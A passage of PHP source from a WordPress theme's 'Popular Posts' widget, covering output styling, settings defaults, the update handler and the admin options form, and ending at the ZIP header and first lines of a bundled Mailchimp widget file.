                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php if ( $showviews ): ?>
                                                <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
                                </div>
                            </div>
                        </li>

						<?php $num ++; endwhile; ?>

                </ul>

				<?php

				if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'btn' ) {
					?>
                    <div class="penci-pagination penci-ajax-more pcwg-lposts">
                        <a class="penci-ajax-more-button penci-wgajx-btn"
                           href="#" aria-label="More Posts">
                            <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                    class="ajaxdot"></span><i
                                    class="penci-faicon fa fa-refresh"></i> </a>
                    </div>
					<?php
				} else if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'nav' ) { ?>
                    <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                        <span class="pcajx-btn penci-wgajx-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                        <span class="pcajx-btn penci-wgajx-btn next"><span
                                    class="pcnav-title"><?php echo penci_get_setting( 'penci_trans_next' ) . '</span> ' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                    </div>
					<?php
				}
				if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] ) {
					?>
                    <div class="pcwgajx-ld-wrapper">
						<?php echo penci_get_html_animation_loading( 'df' ); ?>
                    </div>
					<?php
					wp_enqueue_script( 'penci_widgets_ajax' );
				}
				$attrstyle = '';
				if ( $ptfsfe ) {
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . ' li.featured-news .side-item .side-item-text h4 a{ font-size: ' . $ptfsfe . 'px; }';
				}
				if ( $ptfs ) {
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . ' li:not(.featured-news) .side-item .side-item-text h4 a{ font-size: ' . $ptfs . 'px; }';
				}
				if ( $pmfs ) {
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . ' li .side-item .side-item-text .side-item-meta{ font-size: ' . $pmfs . 'px; }';
				}
				if ( $ptorn ) {
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . '.order-numbers-4.display-order-numbers li .side-image:before{ font-size: ' . $ptorn . 'px; }';
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . ' li .number-post{ font-size: ' . $ptorn . 'px; }';
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . '.order-numbers-3 li .number-post{ font-size: ' . $ptorn . 'px; }';
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . '.order-numbers-2.display-order-numbers li .side-item-text:before{ font-size: ' . $ptorn . 'px; }';
				}
				if ( $oboxsize ) {
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . ' { --oboxsize: ' . $oboxsize . 'px; }';
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . '.side-newsfeed.order-numbers-1 li .order-border-number{ width: ' . $oboxsize . 'px;height: ' . $oboxsize . 'px;line-height: ' . ( $oboxsize - 2 ) . 'px; }';
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . '.side-newsfeed.order-numbers-1 li .number-post{ width: ' . $oboxsize . 'px;height: ' . $oboxsize . 'px;line-height: ' . ( $oboxsize - 2 ) . 'px; }';
				}
				if ( $imgwidth ) {
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . ' li .penci-image-holder.small-fix-size{ width: ' . $imgwidth . 'px; }';
				}
				if ( $row_gap ) {
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . '.side-newsfeed:not(.penci-feed-2columns) li{ margin-bottom: ' . $row_gap . 'px; padding-bottom: ' . $row_gap . 'px; }';
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . '.penci-feed-2columns li{ margin-bottom: ' . $row_gap . 'px; }';
				}
				if ( $image_type == 'horizontal' ) {
					$attrstyle .= '#penci-popularwg-' . $rand . ' .penci-image-holder:before{ padding-top: 66.6667%; }';
				} elseif ( $image_type == 'square' ) {
					$attrstyle .= '#penci-popularwg-' . $rand . ' .penci-image-holder:before{ padding-top: 100%; }';
				} elseif ( $image_type == 'vertical' ) {
					$attrstyle .= '#penci-popularwg-' . $rand . ' .penci-image-holder:before{ padding-top: 135.4%; }';
				}

				if ( $attrstyle ) {
					echo '<style type="text/css">' . $attrstyle . '</style>';
				}

				/* After widget (defined by themes). */
				echo ent2ncr( $after_widget );

				wp_reset_postdata();
			endif;
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			if ( ! empty( $new_instance['cats_id'] ) ) {
				if ( is_array( $new_instance['cats_id'] ) ) {
					$instance['cats_id'] = implode( ',', $new_instance['cats_id'] );
				} else {
					$instance['cats_id'] = esc_sql( $new_instance['cats_id'] );
				}
			} else {
				$instance['cats_id'] = false;
			}

			if ( ! empty( $new_instance['tags_id'] ) ) {
				if ( is_array( $new_instance['tags_id'] ) ) {
					$instance['tags_id'] = implode( ',', $new_instance['tags_id'] );
				} else {
					$instance['tags_id'] = esc_sql( $new_instance['tags_id'] );
				}
			} else {
				$instance['tags_id'] = false;
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'title'          => esc_html__( 'Popular Posts', 'soledad' ),
				'hide_thumb'     => false,
				'movemeta'       => false,
				'dotstyle'       => '',
				'ptype'          => '',
				'taxonomy'       => '',
				'tax_ids'        => '',
				'sticky'         => true,
				'show_author'    => false,
				'show_comment'   => false,
				'show_postviews' => false,
				'showborder'     => false,
				'row_gap'        => '',
				'imgwidth'       => '',
				'ptfsfe'         => '',
				'ptfs'           => '',
				'pmfs'           => '',
				'ptorn'          => '',
				'oboxsize'       => '',
				'image_type'     => 'default',
				'type'           => '',
				'title_length'   => '',
				'number'         => 5,
				'offset'         => '',
				'query_cat'  	 => '',
				'categories'     => '',
				'ajaxnav'        => '',
				'ordernum_style' => '',
				'featured'       => false,
				'allfeatured'    => false,
				'thumbright'     => false,
				'twocolumn'      => false,
				'featured2'      => false,
				'ordernum'       => false,
				'postdate'       => false,
				'icon'           => false
			);

			return $defaults;
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();

			$cats_id = array();
			$tags_id = array();

			if ( isset( $instance['cats_id'] ) && ! empty( $instance['cats_id'] ) ) {
				$cats_id = explode( ',', $instance['cats_id'] );
			}
			if ( isset( $instance['tags_id'] ) && ! empty( $instance['tags_id'] ) ) {
				$tags_id = explode( ',', $instance['tags_id'] );
			}

			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
            <style>span.description {
                    font-style: italic;
                    font-size: 13px;
                }</style>
            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Type -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'type' ) ); ?>">Display Popular Posts on</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'type' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'type' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='all' <?php if ( '' == $instance['type'] ) {
						echo 'selected="selected"';
					} ?>>All Time
                    </option>
                    <option value='week' <?php if ( 'week' == $instance['type'] ) {
						echo 'selected="selected"';
					} ?>>Once Weekly
                    </option>
                    <option value='month' <?php if ( 'month' == $instance['type'] ) {
						echo 'selected="selected"';
					} ?>>Once a Month
                    </option>
					<option value='daily' <?php if ( 'daily' == $instance['type'] ) {
						echo 'selected="selected"';
					} ?>>Daily
                    </option>
					<?php if ( ! empty( penci_jetpack_option() ) ): ?>
                        <option value='jetpack' <?php if ( 'jetpack' == $instance['type'] ) {
							echo 'selected="selected"';
						} ?>>Jetpack Post Views
                        </option>
					<?php endif; ?>
                </select>
            </p>

            <!-- Category -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>"><?php esc_html_e( 'Include Categories:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'cats_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $cats_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All categories', 'soledad' ); ?></option>
					<?php $categories = get_categories( 'hide_empty=0&depth=1&type=post' ); ?>
					<?php foreach ( $categories as $category ) { ?>
                        <option value='<?php echo esc_attr( $category->term_id ); ?>' <?php if ( in_array( $category->term_id, $cats_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $category->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"
                      style="padding-left: 0;"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple categories.', 'soledad' ); ?></span>
            </p>

            <!-- Tags -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>"><?php esc_html_e( 'Include Tags:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'tags_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $tags_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All tags', 'soledad' ); ?></option>
					<?php $tags = get_tags( 'hide_empty=0&depth=1&type=post' ); ?>
					<?php foreach ( $tags as $tag ) { ?>
                        <option value='<?php echo esc_attr( $tag->term_id ); ?>' <?php if ( in_array( $tag->term_id, $tags_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $tag->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple tags.', 'soledad' ); ?></span>
            </p>

            <!-- Custom Post Type -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptype' ) ); ?>"><?php esc_html_e( 'Query for Custom Post Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ptype' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ptype' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ptype'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( '- Default( Posts ) -', 'soledad' ); ?></option>
					<?php $all_post_types = get_post_types( array(
						'public'            => true,
						'show_in_nav_menus' => true
					), 'objects' );
					unset( $all_post_types['post'] );
					if ( ! empty( $all_post_types ) ) {
						foreach ( $all_post_types as $p_type => $ptobject ) {
							?>
                            <option value='<?php echo esc_attr( $p_type ); ?>' <?php if ( $p_type == $instance['ptype'] ) {
								echo 'selected="selected"';
							} ?>><?php echo $ptobject->label; ?></option>
						<?php }
					}
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'taxonomy' ) ); ?>"><?php esc_html_e( 'Custom taxonomies to query:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'taxonomy' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'taxonomy' ) ); ?>"
                       value="<?php echo esc_attr( $instance['taxonomy'] ); ?>" size="3"/>
                <span class="description"><?php _e( 'Fill taxonomy slug(s) here. Separate by commas to query multiple taxonomies. Check <a href="https://imgresources.s3.amazonaws.com/custom-taxonomy.png" style="color: #007cba;" target="_blank">this image</a> for understand more.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tax_ids' ) ); ?>"><?php esc_html_e( 'Taxonomy IDs to query:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'tax_ids' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'tax_ids' ) ); ?>"
                       value="<?php echo esc_attr( $instance['tax_ids'] ); ?>" size="3"/>
                <span class="description"><?php _e( 'Fill taxonomy ID(s) here. Separate by commas to query multiple taxonomies. Check <a href="https://imgresources.s3.amazonaws.com/custom-taxonomy.png" style="color: #007cba;" target="_blank">this image</a> for understand more.', 'soledad' ); ?></span>
            </p>

			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'query_cat' ) ); ?>"><?php esc_html_e( 'Query Posts Within Current Category?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'query_cat' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'query_cat' ) ); ?>" <?php checked( (bool) $instance['query_cat'], true ); ?> /><br>
                <span class="description"><?php _e( 'When this widget is viewed on a category page, the post query will automatically use the current category\'s slug or ID', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"><?php esc_html_e( 'Ignore Sticky Posts?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'sticky' ) ); ?>" <?php checked( (bool) $instance['sticky'], true ); ?> /><br>
                <span class="description"><?php _e( 'Note that: Ignore sticky posts doesn\'t work if you filter your posts by a taxonomy or multiple taxonomies (categories, tags... ) - because it doesn\'t support by WordPress itself.', 'soledad' ); ?></span>
            </p>

            <!-- Image Size -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"><?php esc_html_e( 'Featured Images Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'image_type' ) ); ?>"
                        class="widefat image_type" style="width:100%;">
                    <option value='default' <?php if ( 'default' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Default ( follow on Customize )', 'soledad' ); ?></option>
                    <option value='horizontal' <?php if ( 'horizontal' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Horizontal Size', 'soledad' ); ?></option>
                    <option value='square' <?php if ( 'square' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Square Size', 'soledad' ); ?></option>
                    <option value='vertical' <?php if ( 'vertical' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Vertical Size', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Number of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of posts to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <!-- Offset of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"><?php esc_html_e( 'Number of offset Posts:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'offset' ) ); ?>"
                       value="<?php echo esc_attr( $instance['offset'] ); ?>" size="3"/>
            </p>

            <!-- Custom trim post titles -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"><?php esc_html_e( 'Custom words length for post titles:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_length' ) ); ?>"
                       value="<?php echo esc_attr( $instance['title_length'] ); ?>" size="3"/>
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If your post titles is too long - You can use this option for trim it. Fill number value here.</span>
            </p>

            <!-- Timeline dots style -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'dotstyle' ) ); ?>"><?php esc_html_e( 'Show Timeline Dots?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'dotstyle' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'dotstyle' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='s1' <?php if ( 's1' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Color Style', 'soledad' ); ?></option>
                    <option value='s2' <?php if ( 's2' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Hover Style', 'soledad' ); ?></option>
                    <option value='s3' <?php if ( 's3' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Animation Style', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Move post meta -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'movemeta' ) ); ?>"><?php esc_html_e( 'Move post meta to display above post title?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'movemeta' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'movemeta' ) ); ?>" <?php checked( (bool) $instance['movemeta'], true ); ?> />
            </p>

            <!-- Display thumbnail right -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_thumb' ) ); ?>"><?php esc_html_e( 'Hide thumbnail(Featured Image)?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_thumb' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_thumb' ) ); ?>" <?php checked( (bool) $instance['hide_thumb'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'thumbright' ) ); ?>"><?php esc_html_e( 'Display thumbnail on right?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'thumbright' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'thumbright' ) ); ?>" <?php checked( (bool) $instance['thumbright'], true ); ?> />
            </p>

            <!-- 2 Columns -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'twocolumn' ) ); ?>"><?php esc_html_e( 'Display on 2 columns?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'twocolumn' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'twocolumn' ) ); ?>" <?php checked( (bool) $instance['twocolumn'], true ); ?> />
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If you use 2 columns option, it will ignore option display thumbnail on right.</span>
            </p>

            <!-- Display latest post featured -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'featured' ) ); ?>"><?php esc_html_e( 'Display 1st post featured?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'featured' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'featured' ) ); ?>" <?php checked( (bool) $instance['featured'], true ); ?> />
            </p>

            <!-- Display latest post featured style 2 -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'featured2' ) ); ?>"><?php esc_html_e( 'Display featured post style 2?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'featured2' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'featured2' ) ); ?>" <?php checked( (bool) $instance['featured2'], true ); ?> />
            </p>

            <!-- Display big post -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'allfeatured' ) ); ?>"><?php esc_html_e( 'Display all post featured?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'allfeatured' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'allfeatured' ) ); ?>" <?php checked( (bool) $instance['allfeatured'], true ); ?> />
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If you use all post featured option, it will ignore option display thumbnail on right & 2 columns.</span>
            </p>

            <!-- Hide Order Numbers -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ordernum' ) ); ?>"><?php esc_html_e( 'Hide Order Numbers?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'ordernum' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ordernum' ) ); ?>" <?php checked( (bool) $instance['ordernum'], true ); ?> />
            </p>

			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ordernum_style' ) ); ?>"><?php esc_html_e( 'Order Numbers Style', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ordernum_style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ordernum_style' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ordernum_style'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Style 1", 'soledad' ); ?></option>
                    <option value='2' <?php if ( '2' == $instance['ordernum_style'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Style 2', 'soledad' ); ?></option>
                    <option value='3' <?php if ( '3' == $instance['ordernum_style'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Style 3', 'soledad' ); ?></option>
					<option value='4' <?php if ( '4' == $instance['ordernum_style'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Style 4', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Post Meta -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_author' ) ); ?>"><?php esc_html_e( 'Show Author Name?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_author' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_author' ) ); ?>" <?php checked( (bool) $instance['show_author'], true ); ?> />
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"><?php esc_html_e( 'Hide post date?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'postdate' ) ); ?>" <?php checked( (bool) $instance['postdate'], true ); ?> />
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_comment' ) ); ?>"><?php esc_html_e( 'Show Comment Count?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_comment' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_comment' ) ); ?>" <?php checked( (bool) $instance['show_comment'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_postviews' ) ); ?>"><?php esc_html_e( 'Show Post Views?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_postviews' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_postviews' ) ); ?>" <?php checked( (bool) $instance['show_postviews'], true ); ?> />
            </p>

            <!-- Ajax Post Navigation -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"><?php esc_html_e( 'Ajax Posts Navigation?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ajaxnav' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='nav' <?php if ( 'nav' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Next/Previous Button', 'soledad' ); ?></option>
                    <option value='btn' <?php if ( 'btn' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Load More Button', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Hide post format icon -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'icon' ) ); ?>"><?php esc_html_e( 'Show icon post format?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'icon' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'icon' ) ); ?>" <?php checked( (bool) $instance['icon'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'showborder' ) ); ?>"><?php esc_html_e( 'Remove Border at The Bottom?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'showborder' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'showborder' ) ); ?>" <?php checked( (bool) $instance['showborder'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'row_gap' ) ); ?>"><?php esc_html_e( 'Rows Gap Between Post Items ( Default: 20 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'row_gap' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'row_gap' ) ); ?>"
                       value="<?php echo esc_attr( $instance['row_gap'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'imgwidth' ) ); ?>"><?php esc_html_e( 'Custom Image Width ( Default: 120 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'imgwidth' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'imgwidth' ) ); ?>"
                       value="<?php echo esc_attr( $instance['imgwidth'] ); ?>" size="3"/>
                <span class="description"
                      style="display: block; padding: 0;font-size: 12px;"><?php esc_html_e( 'This option doesn\'t apply for featured posts. It should be between 80 to 200.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"><?php esc_html_e( 'Post Title Font Size on Featured Posts ( Default: 18 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfsfe' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfsfe'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"><?php esc_html_e( 'Post Title Font Size ( Default: 16 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfs'] ); ?>" size="3"/>
            </p>
			
			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptorn' ) ); ?>"><?php esc_html_e( 'Font Size for Order Number', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptorn' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptorn' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptorn'] ); ?>" size="3"/>
            </p>
			
			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'oboxsize' ) ); ?>"><?php esc_html_e( 'Box Size for Order Number', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'oboxsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'oboxsize' ) ); ?>"
                       value="<?php echo esc_attr( $instance['oboxsize'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"><?php esc_html_e( 'Post Meta Font Size ( Default: 13 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'pmfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['pmfs'] ); ?>" size="3"/>
            </p>

			<?php
		}
	}
}
?>
PK     N\>r      inc/widgets/mailchimp.phpnu [        <?php
add_action( 'mc4wp_form_widget_form', function ( $settings, $widget ) {
	$penci_mailchimp_style = isset( $settings['penci_mailchimp_style'] ) ? $settings['penci_mailchimp_style'] : 's1';
	?>
    <p>
